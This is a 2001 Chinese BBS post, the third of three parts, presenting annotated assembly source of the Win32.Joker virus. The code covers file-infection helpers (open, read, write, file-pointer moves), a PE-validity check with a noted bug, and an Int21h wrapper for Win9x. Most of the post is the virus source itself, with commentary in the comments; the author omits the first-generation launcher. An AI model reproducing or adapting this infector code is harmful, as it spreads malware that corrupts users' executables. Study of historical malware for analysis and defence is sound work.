荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Mic (至酷霸王丸), 信区: Virus
标  题: 经典病毒源码 分析:Win32.Joker (3/3)
发信站: 荔园晨风BBS站 (Wed May 30 07:49:20 2001), 转信

【 以下文字转载自 Mic 的信箱 】
【 原文由 Smickey.bbs@melon.gznet.edu.cn 所发表 】
发信人: hollando (拜人精神,早睡早起), 信区: Virus
标  题: 经典病毒源码 分析:Win32.Joker (3/3)
发信站: 华南网木棉站 (Sun May 27 13:23:23 2001), 转信

; --------------------------------------------------------------------
; 获得文件属性
; --------------------------------------------------------------------
GetAttributes: ; AX = 获得文件属性
   mov     ax, 4300h
    cwde          ; 把16位 AX 转换为32位 EAX
   lea     edx, [ebp+FileAttributes] ; EDX = 文件名指针
    call    Int21h
       retn
; --------------------------------------------------------------------
; 把文件指针移动到需要的地方
; --------------------------------------------------------------------
MoveFilePointer:
    push ebx          ; 保存 EBX
   mov    ah, 42h          ; AH = 设置文件指针
    cwde          ; 把16位 AX 转换为32位 EAX
    xchg  al, bl          ; AL = 到的地方
   mov     ebx, [ebp+FileHandle]  ; EBX = 文件句柄
    call    Int21h
   pop ebx          ; 还原 EBX
       retn
; --------------------------------------------------------------------
; 打开文件
; --------------------------------------------------------------------
OpenFile:
   mov     ax, 3D02h          ; AX = 打开文件(供读写)
    cwde          ; 把16位 AX 转换为32位 EAX
   lea     edx, [ebp+FileAttributes] ; EDX = 指向文件名
   xor     ecx, ecx         ; ECX = 属性
    call    Int21h
       retn
; --------------------------------------------------------------------
; 从打开的文件中读取
; --------------------------------------------------------------------
ReadFromFile:
   mov     ax, 3F00h          ; AX = 读去文件
    cwde          ; 把16位 AX 转换为32位 EAX
   mov     ebx, [ebp+FileHandle]  ; EBX = 文件句柄
   lea     edx, [ebp+buffer]      ; EDX = 存放地点
    call    Int21h
       retn
; --------------------------------------------------------------------
; 把数据写入文件
; --------------------------------------------------------------------
Write2File:
    push ebx          ; 保存 EBX
   mov     ax, 4000h          ; AX = 写文件
    cwde          ; 老一套,把16位 AX 转换为32位 EAX
   mov     ebx, [ebp+FileHandle]  ; EBX = 文件句柄
    call  Int21h         ; Win9X Int21h
   pop ebx          ; 恢复 EBX
       retn
; --------------------------------------------------------------------
; 关闭已经打开的文件
; --------------------------------------------------------------------
CloseFile:
   mov     ax, 3E00h          ; AX = 关闭文件
    cwde         ; EDX = 0
   mov     ebx, [ebp+FileHandle]  ; EBX = 文件句柄
    call    Int21h
       retn
; --------------------------------------------------------------------
; 是不是一个有效的PE文件呀?
; --------------------------------------------------------------------
CheckValidPE:
    push  eax
    push  ecx
   lea     esi, [ebp+40h]          ; 首先 3Ch 字段保存PE头的位置
     lodsd          ; 然后检查一下
   lea     esi, [ebp+eax+4]        ; 是不是
     lodsw          ; 真的有
   cmp     ax, 'EP'          ; PE 签名 :)
   jnz     ErrorExit
      stc
   dec esi          ; 修正 ESI, 这样它将重新指向
   dec esi          ; PE头的开始。
; 非常重要的 BUG!
; 段表数是一个16为整数,而不是32位。所以用这段代码,病毒会放一些没用的东西
; 进入EAX,这会造成一个错误,而造成本来可以感染的文件不被感染。:(
   mov     eax, [esi+6]         ; Tries to put in EAX the number
         ; of sections
; 应该是 MOVZX EAX,WORD PTR [ESI+6], 或者 MOV AX,[ESI+6] 和 CWDE
   inc eax          ; 加一
   mov     ecx, 28h
   mul   ecx
   add     eax, 0F8h
   add     eax, [ebp+40h]
   cmp     eax, 400h          ; 段表太大?
  ja      ErrorExit          ; 失败!返回吧。
GlobalExit: ; ...
   pop ecx          ; 从堆栈恢复
   pop   eax
       retn
ErrorExit: ; ...
      stc
   jmp     GlobalExit
; --------------------------------------------------------------------
; INT 21h 架子
; --------------------------------------------------------------------
Int21h:
    push  ecx
    push  eax
    push   2A0010h
    call    dword ptr fs:14h
       retn
; --------------------------------------------------------------------
; 模拟一个虚拟的“宿主”,让病毒能够执行。
; --------------------------------------------------------------------
extrn   ExitProcess:PROC
first_generation:
; 拜托,我可不是毒贩子,要是真有人拿这个干坏事……
; 算了,这段不写了,我知道如果你真的会写Win32程序的话,这不难。
end     virus_start

--
※ 来源:.GNU中国站 hollando.gnu.org.cn.[FROM: 127.0.0.1]  *[46

※ 来源:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 202.38.240.231]
--
※ 转寄:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 深大荔园晨风转站]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.108]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店